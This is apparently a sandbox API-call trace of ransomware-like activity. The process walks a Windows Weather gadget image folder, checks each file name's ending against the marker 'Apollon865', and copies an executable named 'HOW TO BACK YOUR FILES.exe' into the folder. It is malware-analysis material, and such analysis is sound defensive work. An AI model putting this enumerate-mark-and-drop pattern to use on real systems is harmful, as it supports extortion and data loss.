	[0051.461] lstrcmpiW (lpString1="uarter.png", lpString2="Apollon865") returned 1
	[0051.461] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-last-quarter_partly-cloudy.png" | out: lpString1="docked_black_moon-last-quarter_partly-cloudy.png") returned="docked_black_moon-last-quarter_partly-cloudy.png"
	[0051.461] lstrlenW (lpString="docked_black_moon-last-quarter_partly-cloudy.png") returned 48
	[0051.461] lstrlenW (lpString="Apollon865") returned 10
	[0051.461] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.461] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-new.png" | out: lpString1="docked_black_moon-new.png") returned="docked_black_moon-new.png"
	[0051.461] lstrlenW (lpString="docked_black_moon-new.png") returned 25
	[0051.461] lstrlenW (lpString="Apollon865") returned 10
	[0051.461] lstrcmpiW (lpString1="on-new.png", lpString2="Apollon865") returned 1
	[0051.461] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-new_partly-cloudy.png" | out: lpString1="docked_black_moon-new_partly-cloudy.png") returned="docked_black_moon-new_partly-cloudy.png"
	[0051.462] lstrlenW (lpString="docked_black_moon-new_partly-cloudy.png") returned 39
	[0051.462] lstrlenW (lpString="Apollon865") returned 10
	[0051.462] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.462] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waning-crescent.png" | out: lpString1="docked_black_moon-waning-crescent.png") returned="docked_black_moon-waning-crescent.png"
	[0051.462] lstrlenW (lpString="docked_black_moon-waning-crescent.png") returned 37
	[0051.462] lstrlenW (lpString="Apollon865") returned 10
	[0051.462] lstrcmpiW (lpString1="escent.png", lpString2="Apollon865") returned 1
	[0051.462] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waning-crescent_partly-cloudy.png" | out: lpString1="docked_black_moon-waning-crescent_partly-cloudy.png") returned="docked_black_moon-waning-crescent_partly-cloudy.png"
	[0051.462] lstrlenW (lpString="docked_black_moon-waning-crescent_partly-cloudy.png") returned 51
	[0051.462] lstrlenW (lpString="Apollon865") returned 10
	[0051.462] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.462] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waning-gibbous.png" | out: lpString1="docked_black_moon-waning-gibbous.png") returned="docked_black_moon-waning-gibbous.png"
	[0051.462] lstrlenW (lpString="docked_black_moon-waning-gibbous.png") returned 36
	[0051.462] lstrlenW (lpString="Apollon865") returned 10
	[0051.462] lstrcmpiW (lpString1="ibbous.png", lpString2="Apollon865") returned 1
	[0051.462] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waning-gibbous_partly-cloudy.png" | out: lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png") returned="docked_black_moon-waning-gibbous_partly-cloudy.png"
	[0051.462] lstrlenW (lpString="docked_black_moon-waning-gibbous_partly-cloudy.png") returned 50
	[0051.462] lstrlenW (lpString="Apollon865") returned 10
	[0051.462] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.462] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waxing-crescent.png" | out: lpString1="docked_black_moon-waxing-crescent.png") returned="docked_black_moon-waxing-crescent.png"
	[0051.462] lstrlenW (lpString="docked_black_moon-waxing-crescent.png") returned 37
	[0051.462] lstrlenW (lpString="Apollon865") returned 10
	[0051.462] lstrcmpiW (lpString1="escent.png", lpString2="Apollon865") returned 1
	[0051.463] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waxing-crescent_partly-cloudy.png" | out: lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png") returned="docked_black_moon-waxing-crescent_partly-cloudy.png"
	[0051.463] lstrlenW (lpString="docked_black_moon-waxing-crescent_partly-cloudy.png") returned 51
	[0051.463] lstrlenW (lpString="Apollon865") returned 10
	[0051.463] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.463] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waxing-gibbous.png" | out: lpString1="docked_black_moon-waxing-gibbous.png") returned="docked_black_moon-waxing-gibbous.png"
	[0051.463] lstrlenW (lpString="docked_black_moon-waxing-gibbous.png") returned 36
	[0051.463] lstrlenW (lpString="Apollon865") returned 10
	[0051.463] lstrcmpiW (lpString1="ibbous.png", lpString2="Apollon865") returned 1
	[0051.463] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-waxing-gibbous_partly-cloudy.png" | out: lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png") returned="docked_black_moon-waxing-gibbous_partly-cloudy.png"
	[0051.463] lstrlenW (lpString="docked_black_moon-waxing-gibbous_partly-cloudy.png") returned 50
	[0051.463] lstrlenW (lpString="Apollon865") returned 10
	[0051.463] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.463] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_rainy.png" | out: lpString1="docked_black_rainy.png") returned="docked_black_rainy.png"
	[0051.463] lstrlenW (lpString="docked_black_rainy.png") returned 22
	[0051.463] lstrlenW (lpString="Apollon865") returned 10
	[0051.463] lstrcmpiW (lpString1="_rainy.png", lpString2="Apollon865") returned -1
	[0051.463] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_snow.png" | out: lpString1="docked_black_snow.png") returned="docked_black_snow.png"
	[0051.463] lstrlenW (lpString="docked_black_snow.png") returned 21
	[0051.463] lstrlenW (lpString="Apollon865") returned 10
	[0051.463] lstrcmpiW (lpString1="k_snow.png", lpString2="Apollon865") returned 1
	[0051.463] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_thunderstorm.png" | out: lpString1="docked_black_thunderstorm.png") returned="docked_black_thunderstorm.png"
	[0051.463] lstrlenW (lpString="docked_black_thunderstorm.png") returned 29
	[0051.463] lstrlenW (lpString="Apollon865") returned 10
	[0051.463] lstrcmpiW (lpString1="rstorm.png", lpString2="Apollon865") returned 1
	[0051.464] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_windy.png" | out: lpString1="docked_black_windy.png") returned="docked_black_windy.png"
	[0051.464] lstrlenW (lpString="docked_black_windy.png") returned 22
	[0051.464] lstrlenW (lpString="Apollon865") returned 10
	[0051.464] lstrcmpiW (lpString1="_windy.png", lpString2="Apollon865") returned -1
	[0051.464] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_blue_partly-cloudy.png" | out: lpString1="docked_blue_partly-cloudy.png") returned="docked_blue_partly-cloudy.png"
	[0051.464] lstrlenW (lpString="docked_blue_partly-cloudy.png") returned 29
	[0051.464] lstrlenW (lpString="Apollon865") returned 10
	[0051.464] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.464] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_blue_snow.png" | out: lpString1="docked_blue_snow.png") returned="docked_blue_snow.png"
	[0051.464] lstrlenW (lpString="docked_blue_snow.png") returned 20
	[0051.464] lstrlenW (lpString="Apollon865") returned 10
	[0051.464] lstrcmpiW (lpString1="e_snow.png", lpString2="Apollon865") returned 1
	[0051.464] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_blue_sun.png" | out: lpString1="docked_blue_sun.png") returned="docked_blue_sun.png"
	[0051.464] lstrlenW (lpString="docked_blue_sun.png") returned 19
	[0051.464] lstrlenW (lpString="Apollon865") returned 10
	[0051.465] lstrcmpiW (lpString1="ue_sun.png", lpString2="Apollon865") returned 1
	[0051.465] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_blue_windy.png" | out: lpString1="docked_blue_windy.png") returned="docked_blue_windy.png"
	[0051.465] lstrlenW (lpString="docked_blue_windy.png") returned 21
	[0051.465] lstrlenW (lpString="Apollon865") returned 10
	[0051.465] lstrcmpiW (lpString1="_windy.png", lpString2="Apollon865") returned -1
	[0051.465] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_cloudy.png" | out: lpString1="docked_gray_cloudy.png") returned="docked_gray_cloudy.png"
	[0051.465] lstrlenW (lpString="docked_gray_cloudy.png") returned 22
	[0051.465] lstrlenW (lpString="Apollon865") returned 10
	[0051.465] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.465] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_few-showers.png" | out: lpString1="docked_gray_few-showers.png") returned="docked_gray_few-showers.png"
	[0051.465] lstrlenW (lpString="docked_gray_few-showers.png") returned 27
	[0051.465] lstrlenW (lpString="Apollon865") returned 10
	[0051.465] lstrcmpiW (lpString1="howers.png", lpString2="Apollon865") returned 1
	[0051.465] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_foggy.png" | out: lpString1="docked_gray_foggy.png") returned="docked_gray_foggy.png"
	[0051.465] lstrlenW (lpString="docked_gray_foggy.png") returned 21
	[0051.465] lstrlenW (lpString="Apollon865") returned 10
	[0051.465] lstrcmpiW (lpString1="_foggy.png", lpString2="Apollon865") returned -1
	[0051.465] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_hail.png" | out: lpString1="docked_gray_hail.png") returned="docked_gray_hail.png"
	[0051.465] lstrlenW (lpString="docked_gray_hail.png") returned 20
	[0051.465] lstrlenW (lpString="Apollon865") returned 10
	[0051.465] lstrcmpiW (lpString1="y_hail.png", lpString2="Apollon865") returned 1
	[0051.466] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_rainy.png" | out: lpString1="docked_gray_rainy.png") returned="docked_gray_rainy.png"
	[0051.466] lstrlenW (lpString="docked_gray_rainy.png") returned 21
	[0051.466] lstrlenW (lpString="Apollon865") returned 10
	[0051.466] lstrcmpiW (lpString1="_rainy.png", lpString2="Apollon865") returned -1
	[0051.466] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_snow.png" | out: lpString1="docked_gray_snow.png") returned="docked_gray_snow.png"
	[0051.466] lstrlenW (lpString="docked_gray_snow.png") returned 20
	[0051.466] lstrlenW (lpString="Apollon865") returned 10
	[0051.466] lstrcmpiW (lpString1="y_snow.png", lpString2="Apollon865") returned 1
	[0051.466] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_gray_thunderstorm.png" | out: lpString1="docked_gray_thunderstorm.png") returned="docked_gray_thunderstorm.png"
	[0051.466] lstrlenW (lpString="docked_gray_thunderstorm.png") returned 28
	[0051.466] lstrlenW (lpString="Apollon865") returned 10
	[0051.466] lstrcmpiW (lpString1="rstorm.png", lpString2="Apollon865") returned 1
	[0051.466] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="grayStateIcon.png" | out: lpString1="grayStateIcon.png") returned="grayStateIcon.png"
	[0051.466] lstrlenW (lpString="grayStateIcon.png") returned 17
	[0051.466] lstrlenW (lpString="Apollon865") returned 10
	[0051.466] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.466] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="greenStateIcon.png" | out: lpString1="greenStateIcon.png") returned="greenStateIcon.png"
	[0051.466] lstrlenW (lpString="greenStateIcon.png") returned 18
	[0051.466] lstrlenW (lpString="Apollon865") returned 10
	[0051.466] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.466] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="info.png" | out: lpString1="info.png") returned="info.png"
	[0051.466] lstrlenW (lpString="info.png") returned 8
	[0051.466] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="notConnectedStateIcon.png" | out: lpString1="notConnectedStateIcon.png") returned="notConnectedStateIcon.png"
	[0051.467] lstrlenW (lpString="notConnectedStateIcon.png") returned 25
	[0051.467] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.467] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="redStateIcon.png" | out: lpString1="redStateIcon.png") returned="redStateIcon.png"
	[0051.467] lstrlenW (lpString="redStateIcon.png") returned 16
	[0051.467] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.467] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="search_background.png" | out: lpString1="search_background.png") returned="search_background.png"
	[0051.467] lstrlenW (lpString="search_background.png") returned 21
	[0051.467] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0051.467] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked-loading.png" | out: lpString1="undocked-loading.png") returned="undocked-loading.png"
	[0051.467] lstrlenW (lpString="undocked-loading.png") returned 20
	[0051.467] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcmpiW (lpString1="oading.png", lpString2="Apollon865") returned 1
	[0051.467] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_cloudy.png" | out: lpString1="undocked_black_cloudy.png") returned="undocked_black_cloudy.png"
	[0051.467] lstrlenW (lpString="undocked_black_cloudy.png") returned 25
	[0051.467] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.467] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_few-showers.png" | out: lpString1="undocked_black_few-showers.png") returned="undocked_black_few-showers.png"
	[0051.467] lstrlenW (lpString="undocked_black_few-showers.png") returned 30
	[0051.467] lstrlenW (lpString="Apollon865") returned 10
	[0051.467] lstrcmpiW (lpString1="howers.png", lpString2="Apollon865") returned 1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_foggy.png" | out: lpString1="undocked_black_foggy.png") returned="undocked_black_foggy.png"
	[0051.468] lstrlenW (lpString="undocked_black_foggy.png") returned 24
	[0051.468] lstrlenW (lpString="Apollon865") returned 10
	[0051.468] lstrcmpiW (lpString1="_foggy.png", lpString2="Apollon865") returned -1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_hail.png" | out: lpString1="undocked_black_hail.png") returned="undocked_black_hail.png"
	[0051.468] lstrlenW (lpString="undocked_black_hail.png") returned 23
	[0051.468] lstrlenW (lpString="Apollon865") returned 10
	[0051.468] lstrcmpiW (lpString1="k_hail.png", lpString2="Apollon865") returned 1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-first-quarter.png" | out: lpString1="undocked_black_moon-first-quarter.png") returned="undocked_black_moon-first-quarter.png"
	[0051.468] lstrlenW (lpString="undocked_black_moon-first-quarter.png") returned 37
	[0051.468] lstrlenW (lpString="Apollon865") returned 10
	[0051.468] lstrcmpiW (lpString1="uarter.png", lpString2="Apollon865") returned 1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-first-quarter_partly-cloudy.png" | out: lpString1="undocked_black_moon-first-quarter_partly-cloudy.png") returned="undocked_black_moon-first-quarter_partly-cloudy.png"
	[0051.468] lstrlenW (lpString="undocked_black_moon-first-quarter_partly-cloudy.png") returned 51
	[0051.468] lstrlenW (lpString="Apollon865") returned 10
	[0051.468] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-full.png" | out: lpString1="undocked_black_moon-full.png") returned="undocked_black_moon-full.png"
	[0051.468] lstrlenW (lpString="undocked_black_moon-full.png") returned 28
	[0051.468] lstrlenW (lpString="Apollon865") returned 10
	[0051.468] lstrcmpiW (lpString1="n-full.png", lpString2="Apollon865") returned 1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-full_partly-cloudy.png" | out: lpString1="undocked_black_moon-full_partly-cloudy.png") returned="undocked_black_moon-full_partly-cloudy.png"
	[0051.468] lstrlenW (lpString="undocked_black_moon-full_partly-cloudy.png") returned 42
	[0051.468] lstrlenW (lpString="Apollon865") returned 10
	[0051.468] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.468] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-last-quarter.png" | out: lpString1="undocked_black_moon-last-quarter.png") returned="undocked_black_moon-last-quarter.png"
	[0051.469] lstrlenW (lpString="undocked_black_moon-last-quarter.png") returned 36
	[0051.469] lstrlenW (lpString="Apollon865") returned 10
	[0051.469] lstrcmpiW (lpString1="uarter.png", lpString2="Apollon865") returned 1
	[0051.469] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-last-quarter_partly-cloudy.png" | out: lpString1="undocked_black_moon-last-quarter_partly-cloudy.png") returned="undocked_black_moon-last-quarter_partly-cloudy.png"
	[0051.469] lstrlenW (lpString="undocked_black_moon-last-quarter_partly-cloudy.png") returned 50
	[0051.469] lstrlenW (lpString="Apollon865") returned 10
	[0051.469] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.469] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-new.png" | out: lpString1="undocked_black_moon-new.png") returned="undocked_black_moon-new.png"
	[0051.469] lstrlenW (lpString="undocked_black_moon-new.png") returned 27
	[0051.469] lstrlenW (lpString="Apollon865") returned 10
	[0051.469] lstrcmpiW (lpString1="on-new.png", lpString2="Apollon865") returned 1
	[0051.469] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-new_partly-cloudy.png" | out: lpString1="undocked_black_moon-new_partly-cloudy.png") returned="undocked_black_moon-new_partly-cloudy.png"
	[0051.470] lstrlenW (lpString="undocked_black_moon-new_partly-cloudy.png") returned 41
	[0051.470] lstrlenW (lpString="Apollon865") returned 10
	[0051.470] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.470] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waning-crescent.png" | out: lpString1="undocked_black_moon-waning-crescent.png") returned="undocked_black_moon-waning-crescent.png"
	[0051.470] lstrlenW (lpString="undocked_black_moon-waning-crescent.png") returned 39
	[0051.470] lstrlenW (lpString="Apollon865") returned 10
	[0051.470] lstrcmpiW (lpString1="escent.png", lpString2="Apollon865") returned 1
	[0051.470] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waning-crescent_partly-cloudy.png" | out: lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png") returned="undocked_black_moon-waning-crescent_partly-cloudy.png"
	[0051.470] lstrlenW (lpString="undocked_black_moon-waning-crescent_partly-cloudy.png") returned 53
	[0051.470] lstrlenW (lpString="Apollon865") returned 10
	[0051.470] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.470] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waning-gibbous.png" | out: lpString1="undocked_black_moon-waning-gibbous.png") returned="undocked_black_moon-waning-gibbous.png"
	[0051.470] lstrlenW (lpString="undocked_black_moon-waning-gibbous.png") returned 38
	[0051.470] lstrlenW (lpString="Apollon865") returned 10
	[0051.470] lstrcmpiW (lpString1="ibbous.png", lpString2="Apollon865") returned 1
	[0051.470] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waning-gibbous_partly-cloudy.png" | out: lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png") returned="undocked_black_moon-waning-gibbous_partly-cloudy.png"
	[0051.470] lstrlenW (lpString="undocked_black_moon-waning-gibbous_partly-cloudy.png") returned 52
	[0051.470] lstrlenW (lpString="Apollon865") returned 10
	[0051.470] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.470] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waxing-crescent.png" | out: lpString1="undocked_black_moon-waxing-crescent.png") returned="undocked_black_moon-waxing-crescent.png"
	[0051.470] lstrlenW (lpString="undocked_black_moon-waxing-crescent.png") returned 39
	[0051.470] lstrlenW (lpString="Apollon865") returned 10
	[0051.470] lstrcmpiW (lpString1="escent.png", lpString2="Apollon865") returned 1
	[0051.470] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waxing-crescent_partly-cloudy.png" | out: lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png") returned="undocked_black_moon-waxing-crescent_partly-cloudy.png"
	[0051.471] lstrlenW (lpString="undocked_black_moon-waxing-crescent_partly-cloudy.png") returned 53
	[0051.471] lstrlenW (lpString="Apollon865") returned 10
	[0051.471] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.471] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waxing-gibbous.png" | out: lpString1="undocked_black_moon-waxing-gibbous.png") returned="undocked_black_moon-waxing-gibbous.png"
	[0051.471] lstrlenW (lpString="undocked_black_moon-waxing-gibbous.png") returned 38
	[0051.471] lstrlenW (lpString="Apollon865") returned 10
	[0051.471] lstrcmpiW (lpString1="ibbous.png", lpString2="Apollon865") returned 1
	[0051.471] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_moon-waxing-gibbous_partly-cloudy.png" | out: lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png") returned="undocked_black_moon-waxing-gibbous_partly-cloudy.png"
	[0051.471] lstrlenW (lpString="undocked_black_moon-waxing-gibbous_partly-cloudy.png") returned 52
	[0051.471] lstrlenW (lpString="Apollon865") returned 10
	[0051.471] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.471] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_rainy.png" | out: lpString1="undocked_black_rainy.png") returned="undocked_black_rainy.png"
	[0051.471] lstrlenW (lpString="undocked_black_rainy.png") returned 24
	[0051.471] lstrlenW (lpString="Apollon865") returned 10
	[0051.471] lstrcmpiW (lpString1="_rainy.png", lpString2="Apollon865") returned -1
	[0051.471] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_snow.png" | out: lpString1="undocked_black_snow.png") returned="undocked_black_snow.png"
	[0051.471] lstrlenW (lpString="undocked_black_snow.png") returned 23
	[0051.471] lstrlenW (lpString="Apollon865") returned 10
	[0051.471] lstrcmpiW (lpString1="k_snow.png", lpString2="Apollon865") returned 1
	[0051.471] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_thunderstorm.png" | out: lpString1="undocked_black_thunderstorm.png") returned="undocked_black_thunderstorm.png"
	[0051.471] lstrlenW (lpString="undocked_black_thunderstorm.png") returned 31
	[0051.471] lstrlenW (lpString="Apollon865") returned 10
	[0051.471] lstrcmpiW (lpString1="rstorm.png", lpString2="Apollon865") returned 1
	[0051.471] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_black_windy.png" | out: lpString1="undocked_black_windy.png") returned="undocked_black_windy.png"
	[0051.472] lstrlenW (lpString="undocked_black_windy.png") returned 24
	[0051.472] lstrlenW (lpString="Apollon865") returned 10
	[0051.472] lstrcmpiW (lpString1="_windy.png", lpString2="Apollon865") returned -1
	[0051.472] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_blue_partly-cloudy.png" | out: lpString1="undocked_blue_partly-cloudy.png") returned="undocked_blue_partly-cloudy.png"
	[0051.472] lstrlenW (lpString="undocked_blue_partly-cloudy.png") returned 31
	[0051.472] lstrlenW (lpString="Apollon865") returned 10
	[0051.472] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.472] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_blue_snow.png" | out: lpString1="undocked_blue_snow.png") returned="undocked_blue_snow.png"
	[0051.472] lstrlenW (lpString="undocked_blue_snow.png") returned 22
	[0051.472] lstrlenW (lpString="Apollon865") returned 10
	[0051.472] lstrcmpiW (lpString1="e_snow.png", lpString2="Apollon865") returned 1
	[0051.472] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_blue_sun.png" | out: lpString1="undocked_blue_sun.png") returned="undocked_blue_sun.png"
	[0051.472] lstrlenW (lpString="undocked_blue_sun.png") returned 21
	[0051.472] lstrlenW (lpString="Apollon865") returned 10
	[0051.472] lstrcmpiW (lpString1="ue_sun.png", lpString2="Apollon865") returned 1
	[0051.472] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_blue_windy.png" | out: lpString1="undocked_blue_windy.png") returned="undocked_blue_windy.png"
	[0051.472] lstrlenW (lpString="undocked_blue_windy.png") returned 23
	[0051.472] lstrlenW (lpString="Apollon865") returned 10
	[0051.472] lstrcmpiW (lpString1="_windy.png", lpString2="Apollon865") returned -1
	[0051.472] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_cloudy.png" | out: lpString1="undocked_gray_cloudy.png") returned="undocked_gray_cloudy.png"
	[0051.472] lstrlenW (lpString="undocked_gray_cloudy.png") returned 24
	[0051.472] lstrlenW (lpString="Apollon865") returned 10
	[0051.472] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.472] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_few-showers.png" | out: lpString1="undocked_gray_few-showers.png") returned="undocked_gray_few-showers.png"
	[0051.472] lstrlenW (lpString="undocked_gray_few-showers.png") returned 29
	[0051.473] lstrlenW (lpString="Apollon865") returned 10
	[0051.473] lstrcmpiW (lpString1="howers.png", lpString2="Apollon865") returned 1
	[0051.473] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_foggy.png" | out: lpString1="undocked_gray_foggy.png") returned="undocked_gray_foggy.png"
	[0051.473] lstrlenW (lpString="undocked_gray_foggy.png") returned 23
	[0051.473] lstrlenW (lpString="Apollon865") returned 10
	[0051.473] lstrcmpiW (lpString1="_foggy.png", lpString2="Apollon865") returned -1
	[0051.473] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_hail.png" | out: lpString1="undocked_gray_hail.png") returned="undocked_gray_hail.png"
	[0051.473] lstrlenW (lpString="undocked_gray_hail.png") returned 22
	[0051.473] lstrlenW (lpString="Apollon865") returned 10
	[0051.473] lstrcmpiW (lpString1="y_hail.png", lpString2="Apollon865") returned 1
	[0051.473] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_rainy.png" | out: lpString1="undocked_gray_rainy.png") returned="undocked_gray_rainy.png"
	[0051.473] lstrlenW (lpString="undocked_gray_rainy.png") returned 23
	[0051.473] lstrlenW (lpString="Apollon865") returned 10
	[0051.473] lstrcmpiW (lpString1="_rainy.png", lpString2="Apollon865") returned -1
	[0051.473] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_snow.png" | out: lpString1="undocked_gray_snow.png") returned="undocked_gray_snow.png"
	[0051.473] lstrlenW (lpString="undocked_gray_snow.png") returned 22
	[0051.473] lstrlenW (lpString="Apollon865") returned 10
	[0051.473] lstrcmpiW (lpString1="y_snow.png", lpString2="Apollon865") returned 1
	[0051.473] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="undocked_gray_thunderstorm.png" | out: lpString1="undocked_gray_thunderstorm.png") returned="undocked_gray_thunderstorm.png"
	[0051.473] lstrlenW (lpString="undocked_gray_thunderstorm.png") returned 30
	[0051.473] lstrlenW (lpString="Apollon865") returned 10
	[0051.473] lstrcmpiW (lpString1="rstorm.png", lpString2="Apollon865") returned 1
	[0051.473] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI"
	[0051.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599560 | out: hHeap=0x580000) returned 1
	[0051.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0051.474] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI") returned 75
	[0051.474] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI"
	[0051.474] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.479] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
